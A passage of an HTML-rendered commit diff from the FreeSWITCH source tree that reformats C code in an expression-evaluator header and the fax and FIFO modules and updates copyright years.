</span><span class="cx"> /* Node types */
</span><del>-enum
- {
- EXPR_NODETYPE_UNKNOWN = 0,
- EXPR_NODETYPE_MULTI,
- EXPR_NODETYPE_ADD,
- EXPR_NODETYPE_SUBTRACT,
- EXPR_NODETYPE_MULTIPLY,
- EXPR_NODETYPE_DIVIDE,
- EXPR_NODETYPE_EXPONENT,
- EXPR_NODETYPE_NEGATE,
- EXPR_NODETYPE_VALUE,
- EXPR_NODETYPE_VARIABLE,
- EXPR_NODETYPE_ASSIGN,
- EXPR_NODETYPE_FUNCTION
- };
</del><ins>+        enum {
+                EXPR_NODETYPE_UNKNOWN = 0,
+                EXPR_NODETYPE_MULTI,
+                EXPR_NODETYPE_ADD,
+                EXPR_NODETYPE_SUBTRACT,
+                EXPR_NODETYPE_MULTIPLY,
+                EXPR_NODETYPE_DIVIDE,
+                EXPR_NODETYPE_EXPONENT,
+                EXPR_NODETYPE_NEGATE,
+                EXPR_NODETYPE_VALUE,
+                EXPR_NODETYPE_VARIABLE,
+                EXPR_NODETYPE_ASSIGN,
+                EXPR_NODETYPE_FUNCTION
+        };
</ins><span class="cx">
</span><span class="cx"> /* Functions can be evaluated directly in EXPREVAL. If fptr
</span><span class="cx"> is NULL, type is used to determine what the function is */
</span><del>-enum
- {
- EXPR_NODEFUNC_UNKNOWN = 0,
- EXPR_NODEFUNC_ABS,
- EXPR_NODEFUNC_MOD,
- EXPR_NODEFUNC_IPART,
- EXPR_NODEFUNC_FPART,
- EXPR_NODEFUNC_MIN,
- EXPR_NODEFUNC_MAX,
- EXPR_NODEFUNC_POW,
- EXPR_NODEFUNC_SQRT,
- EXPR_NODEFUNC_SIN,
- EXPR_NODEFUNC_SINH,
- EXPR_NODEFUNC_ASIN,
- EXPR_NODEFUNC_COS,
- EXPR_NODEFUNC_COSH,
- EXPR_NODEFUNC_ACOS,
- EXPR_NODEFUNC_TAN,
- EXPR_NODEFUNC_TANH,
- EXPR_NODEFUNC_ATAN,
- EXPR_NODEFUNC_ATAN2,
- EXPR_NODEFUNC_LOG,
- EXPR_NODEFUNC_POW10,
- EXPR_NODEFUNC_LN,
- EXPR_NODEFUNC_EXP,
- EXPR_NODEFUNC_LOGN,
- EXPR_NODEFUNC_CEIL,
- EXPR_NODEFUNC_FLOOR,
- EXPR_NODEFUNC_RAND,
- EXPR_NODEFUNC_RANDOM,
- EXPR_NODEFUNC_RANDOMIZE,
- EXPR_NODEFUNC_DEG,
- EXPR_NODEFUNC_RAD,
- EXPR_NODEFUNC_RECTTOPOLR,
- EXPR_NODEFUNC_RECTTOPOLA,
- EXPR_NODEFUNC_POLTORECTX,
- EXPR_NODEFUNC_POLTORECTY,
- EXPR_NODEFUNC_IF,
- EXPR_NODEFUNC_SELECT,
- EXPR_NODEFUNC_EQUAL,
- EXPR_NODEFUNC_ABOVE,
- EXPR_NODEFUNC_BELOW,
- EXPR_NODEFUNC_AVG,
- EXPR_NODEFUNC_CLIP,
- EXPR_NODEFUNC_CLAMP,
- EXPR_NODEFUNC_PNTCHANGE,
- EXPR_NODEFUNC_POLY,
- EXPR_NODEFUNC_AND,
- EXPR_NODEFUNC_OR,
- EXPR_NODEFUNC_NOT,
- EXPR_NODEFUNC_FOR,
- EXPR_NODEFUNC_MANY
- };
</del><ins>+        enum {
+                EXPR_NODEFUNC_UNKNOWN = 0,
+                EXPR_NODEFUNC_ABS,
+                EXPR_NODEFUNC_MOD,
+                EXPR_NODEFUNC_IPART,
+                EXPR_NODEFUNC_FPART,
+                EXPR_NODEFUNC_MIN,
+                EXPR_NODEFUNC_MAX,
+                EXPR_NODEFUNC_POW,
+                EXPR_NODEFUNC_SQRT,
+                EXPR_NODEFUNC_SIN,
+                EXPR_NODEFUNC_SINH,
+                EXPR_NODEFUNC_ASIN,
+                EXPR_NODEFUNC_COS,
+                EXPR_NODEFUNC_COSH,
+                EXPR_NODEFUNC_ACOS,
+                EXPR_NODEFUNC_TAN,
+                EXPR_NODEFUNC_TANH,
+                EXPR_NODEFUNC_ATAN,
+                EXPR_NODEFUNC_ATAN2,
+                EXPR_NODEFUNC_LOG,
+                EXPR_NODEFUNC_POW10,
+                EXPR_NODEFUNC_LN,
+                EXPR_NODEFUNC_EXP,
+                EXPR_NODEFUNC_LOGN,
+                EXPR_NODEFUNC_CEIL,
+                EXPR_NODEFUNC_FLOOR,
+                EXPR_NODEFUNC_RAND,
+                EXPR_NODEFUNC_RANDOM,
+                EXPR_NODEFUNC_RANDOMIZE,
+                EXPR_NODEFUNC_DEG,
+                EXPR_NODEFUNC_RAD,
+                EXPR_NODEFUNC_RECTTOPOLR,
+                EXPR_NODEFUNC_RECTTOPOLA,
+                EXPR_NODEFUNC_POLTORECTX,
+                EXPR_NODEFUNC_POLTORECTY,
+                EXPR_NODEFUNC_IF,
+                EXPR_NODEFUNC_SELECT,
+                EXPR_NODEFUNC_EQUAL,
+                EXPR_NODEFUNC_ABOVE,
+                EXPR_NODEFUNC_BELOW,
+                EXPR_NODEFUNC_AVG,
+                EXPR_NODEFUNC_CLIP,
+                EXPR_NODEFUNC_CLAMP,
+                EXPR_NODEFUNC_PNTCHANGE,
+                EXPR_NODEFUNC_POLY,
+                EXPR_NODEFUNC_AND,
+                EXPR_NODEFUNC_OR,
+                EXPR_NODEFUNC_NOT,
+                EXPR_NODEFUNC_FOR,
+                EXPR_NODEFUNC_MANY
+        };
</ins><span class="cx">
</span><span class="cx"> /* Forward declarations */
</span><del>-typedef struct _exprFunc exprFunc;
-typedef struct _exprVal exprVal;
</del><ins>+        typedef struct _exprFunc exprFunc;
+        typedef struct _exprVal exprVal;
</ins><span class="cx">
</span><span class="cx"> /* Expression object */
</span><del>-struct _exprObj
- {
- struct _exprFuncList *flist; /* Functions */
- struct _exprValList *vlist; /* Variables */
- struct _exprValList *clist; /* Constants */
- struct _exprNode *headnode; /* Head parsed node */
</del><ins>+        struct _exprObj {
+                struct _exprFuncList *flist;        /* Functions */
+                struct _exprValList *vlist;        /* Variables */
+                struct _exprValList *clist;        /* Constants */
+                struct _exprNode *headnode;        /* Head parsed node */
</ins><span class="cx">
</span><del>- exprBreakFuncType breakerfunc; /* Break function type */
</del><ins>+                exprBreakFuncType breakerfunc;        /* Break function type */
</ins><span class="cx">
</span><del>- void *userdata; /* User data, can be any 32 bit value */
- int parsedgood; /* non-zero if successfully parsed */
- int parsedbad; /* non-zero if parsed but unsuccessful */
- int breakcount; /* how often to check the breaker function */
- int breakcur; /* do we check the breaker function yet */
- int starterr; /* start position of an error */
- int enderr; /* end position of an error */
- };
</del><ins>+                void *userdata;                        /* User data, can be any 32 bit value */
+                int parsedgood;                        /* non-zero if successfully parsed */
+                int parsedbad;                        /* non-zero if parsed but unsuccessful */
+                int breakcount;                        /* how often to check the breaker function */
+                int breakcur;                        /* do we check the breaker function yet */
+                int starterr;                        /* start position of an error */
+                int enderr;                                /* end position of an error */
+        };
</ins><span class="cx">
</span><span class="cx"> /* Object for a function */
</span><del>-struct _exprFunc
- {
- char *fname; /* Name of the function */
- exprFuncType fptr; /* Function pointer */
- int min, max; /* Min and max args for the function. */
- int refmin, refmax; /* Min and max ref. variables for the function */
- int type; /* Function node type. exprEvalNOde solves the function */
</del><ins>+        struct _exprFunc {
+                char *fname;                        /* Name of the function */
+                exprFuncType fptr;                /* Function pointer */
+                int min, max;                        /* Min and max args for the function. */
+                int refmin, refmax;                /* Min and max ref. variables for the function */
+                int type;                                /* Function node type. exprEvalNOde solves the function */
</ins><span class="cx">
</span><del>- struct _exprFunc *next; /* For linked list */
- };
</del><ins>+                struct _exprFunc *next;        /* For linked list */
+        };
</ins><span class="cx">
</span><span class="cx"> /* Function list object */
</span><del>-struct _exprFuncList
- {
- struct _exprFunc *head;
- };
</del><ins>+        struct _exprFuncList {
+                struct _exprFunc *head;
+        };
</ins><span class="cx">
</span><span class="cx"> /* Object for values */
</span><del>-struct _exprVal
- {
- char *vname; /* Name of the value */
- EXPRTYPE vval; /* Value of the value */
- EXPRTYPE *vptr; /* Pointer to a value. Used only if not NULL */
</del><ins>+        struct _exprVal {
+                char *vname;                        /* Name of the value */
+                EXPRTYPE vval;                        /* Value of the value */
+                EXPRTYPE *vptr;                        /* Pointer to a value. Used only if not NULL */
</ins><span class="cx">
</span><del>- struct _exprVal *next; /* For linked list */
- };
</del><ins>+                struct _exprVal *next;        /* For linked list */
+        };
</ins><span class="cx">
</span><span class="cx"> /* Value list */
</span><del>-struct _exprValList
- {
- struct _exprVal *head;
- };
</del><ins>+        struct _exprValList {
+                struct _exprVal *head;
+        };
</ins><span class="cx">
</span><span class="cx"> /* Expression node type */
</span><del>-struct _exprNode
- {
- int type; /* Node type */
</del><ins>+        struct _exprNode {
+                int type;                                /* Node type */
</ins><span class="cx">
</span><del>- union _data /* Union of info for various types */
- {
- struct _oper
- {
- struct _exprNode *nodes; /* Operation arguments */
- int nodecount; /* Number of arguments */
- } oper;
</del><ins>+                union _data {                        /* Union of info for various types */
+                        struct _oper {
+                                struct _exprNode *nodes;        /* Operation arguments */
+                                int nodecount;        /* Number of arguments */
+                        } oper;
</ins><span class="cx">
</span><del>- struct _variable
- {
- EXPRTYPE *vaddr; /* Used if EXPR_FAST_VAR_ACCESS defined */
- } variable;
</del><ins>+                        struct _variable {
+                                EXPRTYPE *vaddr;        /* Used if EXPR_FAST_VAR_ACCESS defined */
+                        } variable;
</ins><span class="cx">
</span><del>- struct _value
- {
- EXPRTYPE value; /* Value if type is value */
- } value;
</del><ins>+                        struct _value {
+                                EXPRTYPE value;        /* Value if type is value */
+                        } value;
</ins><span class="cx">
</span><del>- struct _assign /* Assignment struct */
- {
- EXPRTYPE *vaddr; /* Used if EXPR_FAST_VAR_ACCESS defined */
- struct _exprNode *node; /* Node to evaluate */
- } assign;
</del><ins>+                        struct _assign {        /* Assignment struct */
+                                EXPRTYPE *vaddr;        /* Used if EXPR_FAST_VAR_ACCESS defined */
+                                struct _exprNode *node;        /* Node to evaluate */
+                        } assign;
</ins><span class="cx">
</span><del>- struct _function
- {
- exprFuncType fptr; /* Function pointer */
- struct _exprNode *nodes; /* Array of argument nodes */
- int nodecount; /* Number of argument nodes */
- EXPRTYPE **refs; /* Reference variables */
- int refcount; /* Number of variable references (not a reference counter) */
- int type; /* Type of function for exprEvalNode if fptr is NULL */
- } function;
- } data;
- };
</del><ins>+                        struct _function {
+                                exprFuncType fptr;        /* Function pointer */
+                                struct _exprNode *nodes;        /* Array of argument nodes */
+                                int nodecount;        /* Number of argument nodes */
+                                EXPRTYPE **refs;        /* Reference variables */
+                                int refcount;        /* Number of variable references (not a reference counter) */
+                                int type;                /* Type of function for exprEvalNode if fptr is NULL */
+                        } function;
+                } data;
+        };
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> /* Functions for function lists */
</span><del>-int exprFuncListAddType(exprFuncList *flist, char *name, int type, int min, int max, int refmin, int refmax);
-int exprFuncListGet(exprFuncList *flist, char *name, exprFuncType *ptr, int *type, int *min, int *max, int *refmin, int *refmax);
</del><ins>+        int exprFuncListAddType(exprFuncList * flist, char *name, int type, int min, int max, int refmin, int refmax);
+        int exprFuncListGet(exprFuncList * flist, char *name, exprFuncType * ptr, int *type, int *min, int *max, int *refmin, int *refmax);
</ins><span class="cx">
</span><span class="cx"> #ifdef WIN32
</span><span class="cx"> #define SWITCH_DECLARE(type)                        __declspec(dllimport) type __stdcall
</span><span class="cx"> #else
</span><del>-#define SWITCH_DECLARE(type) type
</del><ins>+#define SWITCH_DECLARE(type) type
</ins><span class="cx"> #endif
</span><span class="cx">
</span><del>-SWITCH_DECLARE(int) switch_isalnum(int c);
-SWITCH_DECLARE(int) switch_isalpha(int c);
-SWITCH_DECLARE(int) switch_isdigit(int c);
-SWITCH_DECLARE(int) switch_isspace(int c);
</del><ins>+         SWITCH_DECLARE(int) switch_isalnum(int c);
+         SWITCH_DECLARE(int) switch_isalpha(int c);
+         SWITCH_DECLARE(int) switch_isdigit(int c);
+         SWITCH_DECLARE(int) switch_isspace(int c);
</ins><span class="cx">
</span><span class="cx"> #ifdef __cplusplus
</span><span class="cx"> }
</span><span class="cx"> #endif
</span><del>-
-#endif /* __BAVII_EXPRPRIV_H */
-
</del><ins>+#endif                                                        /* __BAVII_EXPRPRIV_H */
</ins></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_exprmod_exprc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_expr/mod_expr.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_expr/mod_expr.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_expr/mod_expr.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_faxmod_faxc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_fax/mod_fax.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_fax/mod_fax.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_fax/mod_fax.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -88,12 +88,12 @@
</span><span class="cx">
</span><span class="cx">         int tx_page_start;
</span><span class="cx">         int tx_page_end;
</span><del>-        
</del><ins>+
</ins><span class="cx">         int done;
</span><span class="cx">
</span><span class="cx">         /* UNUSED AT THE MOMENT
</span><span class="cx">          int enable_t38_reinvite;
</span><del>-        */
</del><ins>+         */
</ins><span class="cx">
</span><span class="cx"> };
</span><span class="cx">
</span><span class="lines">@@ -141,7 +141,7 @@
</span><span class="cx"> /*
</span><span class="cx"> * Called at the end of the document
</span><span class="cx"> */
</span><del>-static void phase_e_handler(t30_state_t * s, void *user_data, int result)
</del><ins>+static void phase_e_handler(t30_state_t *s, void *user_data, int result)
</ins><span class="cx"> {
</span><span class="cx">         t30_stats_t t;
</span><span class="cx">         const char *local_ident;
</span><span class="lines">@@ -153,7 +153,7 @@
</span><span class="cx">
</span><span class="cx">         pvt = (pvt_t *) user_data;
</span><span class="cx">         switch_assert(pvt);
</span><del>-        
</del><ins>+
</ins><span class="cx">         session = pvt->session;
</span><span class="cx">         switch_assert(session);
</span><span class="cx">
</span><span class="lines">@@ -184,8 +184,8 @@
</span><span class="cx">
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Remote station id: %s\n", far_ident);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Local station id: %s\n", local_ident);
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Pages transferred: %i\n",
-                pvt->app_mode == FUNCTION_TX ? t.pages_rx : t.pages_rx);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Pages transferred: %i\n",
+                                         pvt->app_mode == FUNCTION_TX ? t.pages_rx : t.pages_rx);
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Total fax pages: %i\n", t.pages_in_file);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Image resolution: %ix%i\n", t.x_resolution, t.y_resolution);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Transfer Rate: %i\n", t.bit_rate);
</span><span class="lines">@@ -195,11 +195,12 @@
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "remote vendor: %s\n", switch_str_nil(t30_get_rx_vendor(s)));
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "remote model: %s\n", switch_str_nil(t30_get_rx_model(s)));
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "==============================================================================\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+                                         "==============================================================================\n");
</ins><span class="cx">
</span><span class="cx">         /*
</span><del>-        Set our channel variables
-        */
</del><ins>+         Set our channel variables
+         */
</ins><span class="cx">
</span><span class="cx">         tmp = switch_mprintf("%i", result);
</span><span class="cx">         if (tmp) {
</span><span class="lines">@@ -250,15 +251,15 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING); */
</span><del>-        
</del><ins>+
</ins><span class="cx">         pvt->done = 1;
</span><span class="cx">
</span><span class="cx">         /*
</span><del>-        TODO Fire events
-        */
</del><ins>+         TODO Fire events
+         */
</ins><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t spanfax_init(pvt_t * pvt, transport_mode_t trans_mode)
</del><ins>+static switch_status_t spanfax_init(pvt_t *pvt, transport_mode_t trans_mode)
</ins><span class="cx"> {
</span><span class="cx">
</span><span class="cx">         switch_core_session_t *session;
</span><span class="lines">@@ -342,7 +343,7 @@
</span><span class="cx">                  Here goes the T.38 SpanDSP initializing functions
</span><span class="cx">                  T.38 will require a big effort as it needs a different approach
</span><span class="cx">                  but the pieces are already in place
</span><del>-                */
</del><ins>+                 */
</ins><span class="cx">         default:
</span><span class="cx">                 assert(0);                                /* Whaaat ? */
</span><span class="cx">                 break;
</span><span class="lines">@@ -351,7 +352,7 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t spanfax_destroy(pvt_t * pvt)
</del><ins>+static switch_status_t spanfax_destroy(pvt_t *pvt)
</ins><span class="cx"> {
</span><span class="cx">         int terminate;
</span><span class="cx">         t30_state_t *t30;
</span><span class="lines">@@ -403,9 +404,9 @@
</span><span class="cx">         switch_codec_t write_codec = { 0 };
</span><span class="cx">         switch_frame_t *read_frame = { 0 };
</span><span class="cx">         switch_frame_t write_frame = { 0 };
</span><del>- switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         int16_t *buf = NULL;
</span><del>- switch_core_session_get_read_impl(session, &read_impl);
</del><ins>+        switch_core_session_get_read_impl(session, &read_impl);
</ins><span class="cx">
</span><span class="cx">         /* make sure we have a valid channel when starting the FAX application */
</span><span class="cx">         channel = switch_core_session_get_channel(session);
</span><span class="lines">@@ -414,7 +415,7 @@
</span><span class="cx">         if (!switch_channel_media_ready(channel)) {
</span><span class="cx">                 switch_channel_answer(channel);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* Allocate our structs */
</span><span class="cx">         pvt = switch_core_session_alloc(session, sizeof(pvt_t));
</span><span class="cx">
</span><span class="lines">@@ -468,8 +469,8 @@
</span><span class="cx">                 pvt->verbose = globals.verbose;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if ( (tmp=switch_channel_get_variable(channel, "fax_force_caller")) ) {
-                if ( switch_true(tmp) ) {
</del><ins>+        if ((tmp = switch_channel_get_variable(channel, "fax_force_caller"))) {
+                if (switch_true(tmp)) {
</ins><span class="cx">                         pvt->caller = 1;
</span><span class="cx">                 } else {
</span><span class="cx">                         pvt->caller = 0;
</span><span class="lines">@@ -515,7 +516,8 @@
</span><span class="cx">                 pvt->filename = switch_core_session_strdup(session, data);
</span><span class="cx">                 if (pvt->app_mode == FUNCTION_TX) {
</span><span class="cx">                         if ((switch_file_exists(pvt->filename, switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot send inexistant fax file [%s]\n", switch_str_nil(pvt->filename));
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot send inexistant fax file [%s]\n",
+                                                                 switch_str_nil(pvt->filename));
</ins><span class="cx">                                 goto done;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -548,12 +550,12 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /*
</span><del>-        *** Initialize the SpanDSP elements ***
</del><ins>+         *** Initialize the SpanDSP elements ***
</ins><span class="cx">
</span><del>-        Note: we could analyze if a fax was already detected in previous stages
-        and if so, when T.38 will be supported, send a reinvite in T38_MODE,
-        bypassing AUDIO_MODE.
-        */
</del><ins>+         Note: we could analyze if a fax was already detected in previous stages
+         and if so, when T.38 will be supported, send a reinvite in T38_MODE,
+         bypassing AUDIO_MODE.
+         */
</ins><span class="cx">
</span><span class="cx">         if ((spanfax_init(pvt, AUDIO_MODE) != SWITCH_STATUS_SUCCESS)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot initialize Fax engine\n");
</span><span class="lines">@@ -563,14 +565,14 @@
</span><span class="cx">         /*
</span><span class="cx">          Note: Disable echocan on the channel, remember to call app "disable_ec" in the dialplan
</span><span class="cx">          before invoking fax applications
</span><del>-        */
</del><ins>+         */
</ins><span class="cx">
</span><span class="cx">         /*
</span><del>-        Note: we are disabling the Jitterbuffer, here, before we answer.
-        If you have set it to something else and the channel is pre-answered,
-        it will have no effect. Make sure that if you want more reliable
-        faxes, it is disabled.
-        */
</del><ins>+         Note: we are disabling the Jitterbuffer, here, before we answer.
+         If you have set it to something else and the channel is pre-answered,
+         it will have no effect. Make sure that if you want more reliable
+         faxes, it is disabled.
+         */
</ins><span class="cx">         switch_channel_set_variable(channel, "jitterbuffer_msec", "0");
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -614,7 +616,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_ivr_sleep(session, 250, SWITCH_TRUE, NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (switch_channel_ready(channel)) {
</span><span class="cx">                 int tx = 0;
</span><span class="cx">                 switch_status_t status;
</span><span class="lines">@@ -628,7 +630,7 @@
</span><span class="cx">                  - call t38_terminal_send_timeout(), sleep for a while
</span><span class="cx">
</span><span class="cx">                  The T.38 stuff can be placed here (and the audio stuff can be skipped)
</span><del>-                */
</del><ins>+                 */
</ins><span class="cx">
</span><span class="cx">                 /* read new audio frame from the channel */
</span><span class="cx">                 status = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
</span><span class="lines">@@ -640,7 +642,7 @@
</span><span class="cx">
</span><span class="cx">                 /* Skip CNG frames (auto-generated by FreeSWITCH, usually) */
</span><span class="cx">                 if (!switch_test_flag(read_frame, SFF_CNG)) {
</span><del>-                /* pass the new incoming audio frame to the fax_rx function */
</del><ins>+                        /* pass the new incoming audio frame to the fax_rx function */
</ins><span class="cx">                         if (fax_rx(pvt->fax_state, (int16_t *) read_frame->data, read_frame->samples)) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "fax_rx reported an error\n");
</span><span class="cx">                                 goto done;
</span><span class="lines">@@ -670,13 +672,13 @@
</span><span class="cx">
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">         /* Destroy the SpanDSP structures */
</span><span class="cx">         spanfax_destroy(pvt);
</span><span class="cx">
</span><span class="cx">         /* restore the original codecs over the channel */
</span><span class="cx">
</span><del>- switch_core_session_set_read_codec(session, NULL);
</del><ins>+        switch_core_session_set_read_codec(session, NULL);
</ins><span class="cx">
</span><span class="cx">         if (switch_core_codec_ready(&read_codec)) {
</span><span class="cx">                 switch_core_codec_destroy(&read_codec);
</span><span class="lines">@@ -782,8 +784,10 @@
</span><span class="cx">
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">
</span><del>-        SWITCH_ADD_APP(app_interface, "rxfax", "FAX Receive Application", "FAX Receive Application", spanfax_rx_function, SPANFAX_RX_USAGE, SAF_SUPPORT_NOMEDIA);
-        SWITCH_ADD_APP(app_interface, "txfax", "FAX Transmit Application", "FAX Transmit Application", spanfax_tx_function, SPANFAX_TX_USAGE, SAF_SUPPORT_NOMEDIA);
</del><ins>+        SWITCH_ADD_APP(app_interface, "rxfax", "FAX Receive Application", "FAX Receive Application", spanfax_rx_function, SPANFAX_RX_USAGE,
+                                 SAF_SUPPORT_NOMEDIA);
+        SWITCH_ADD_APP(app_interface, "txfax", "FAX Transmit Application", "FAX Transmit Application", spanfax_tx_function, SPANFAX_TX_USAGE,
+                                 SAF_SUPPORT_NOMEDIA);
</ins><span class="cx">
</span><span class="cx">         memset(&globals, 0, sizeof(globals));
</span><span class="cx">         switch_core_new_memory_pool(&globals.pool);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_fifomod_fifoc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_fifo/mod_fifo.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_fifo/mod_fifo.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_fifo/mod_fifo.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -90,11 +90,10 @@
</span><span class="cx">                         const char *consumer_exit_key = switch_channel_get_variable(channel, "fifo_consumer_exit_key");
</span><span class="cx">
</span><span class="cx">                         if (switch_channel_test_flag(switch_core_session_get_channel(session), CF_BRIDGE_ORIGINATOR)) {
</span><del>-                                if ( consumer_exit_key && dtmf->digit == *consumer_exit_key ) {
</del><ins>+                                if (consumer_exit_key && dtmf->digit == *consumer_exit_key) {
</ins><span class="cx">                                         switch_channel_hangup(bchan, SWITCH_CAUSE_NORMAL_CLEARING);
</span><span class="cx">                                         return SWITCH_STATUS_BREAK;
</span><del>-                                }
-                                else if ( !consumer_exit_key && dtmf->digit == '*' ) {
</del><ins>+                                } else if (!consumer_exit_key && dtmf->digit == '*') {
</ins><span class="cx">                                         switch_channel_hangup(bchan, SWITCH_CAUSE_NORMAL_CLEARING);
</span><span class="cx">                                         return SWITCH_STATUS_BREAK;
</span><span class="cx">                                 } else if (dtmf->digit == '0') {
</span><span class="lines">@@ -228,8 +227,8 @@
</span><span class="cx">                         args.buflen = sizeof(buf);
</span><span class="cx">
</span><span class="cx">                         if (switch_ivr_play_file(session, NULL, cd->list[cd->index], &args) != SWITCH_STATUS_SUCCESS) {
</span><del>- return SWITCH_STATUS_FALSE;
- }
</del><ins>+                                return SWITCH_STATUS_FALSE;
+                        }
</ins><span class="cx">
</span><span class="cx">                         if (caller_exit_key && *buf == *caller_exit_key) {
</span><span class="cx">                                 cd->abort = 1;
</span><span class="lines">@@ -250,8 +249,8 @@
</span><span class="cx"> {
</span><span class="cx">         fifo_node_t *node, **node_list = (fifo_node_t **) user_data;
</span><span class="cx">         int x = 0, total = 0, i = 0;
</span><del>-        
-        for (i = 0 ;; i++) {
</del><ins>+
+        for (i = 0;; i++) {
</ins><span class="cx">                 if (!(node = node_list[i])) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="lines">@@ -288,17 +287,19 @@
</span><span class="cx"> {
</span><span class="cx">         switch_cache_db_connection_options_t options = { {0} };
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(globals.odbc_dsn)) {
</span><span class="cx">                 options.odbc_options.dsn = globals.odbc_dsn;
</span><span class="cx">                 options.odbc_options.user = globals.odbc_user;
</span><span class="cx">                 options.odbc_options.pass = globals.odbc_pass;
</span><span class="cx">
</span><del>-                if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
</del><ins>+                if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS)
+                        dbh = NULL;
</ins><span class="cx">                 return dbh;
</span><span class="cx">         } else {
</span><span class="cx">                 options.core_db_options.db_path = globals.dbname;
